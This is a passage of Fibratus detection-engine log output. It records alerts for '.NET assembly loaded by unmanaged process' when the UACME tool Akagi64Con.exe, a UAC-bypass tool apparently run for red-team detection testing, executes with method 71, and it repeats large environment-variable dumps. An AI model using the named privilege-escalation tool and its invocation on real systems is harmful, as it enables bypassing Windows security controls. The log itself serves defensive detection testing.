PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:39+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\5bbba28b4d75ff8862051e627a36d484\MSBuild.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11011120 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.1117246 +0100 CET + Params: base_address➜ 7ffcbbbd0000, checksum➜ 0, default_address➜ 7ffcbbbd0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\5bbba28b4d75ff8862051e627a36d484\MSBuild.ni.exe, image_size➜ 1794048, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T16:00:39+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\5bbba28b4d75ff8862051e627a36d484\MSBuild.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 11011120 + Pid: 1000 + Tid: 12900 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:59:54.1117246 +0100 CET + Params: base_address➜ 7ffcbbbd0000, checksum➜ 0, default_address➜ 7ffcbbbd0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\MSBuild\5bbba28b4d75ff8862051e627a36d484\MSBuild.ni.exe, image_size➜ 1794048, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 1000, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 9665569474375319552, rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, tactic.id: TA0005, technique.id: T1055 + + Pid: 1000 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:dd6677ec-fed6-4e88-b3e6-48cea7b377da WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin 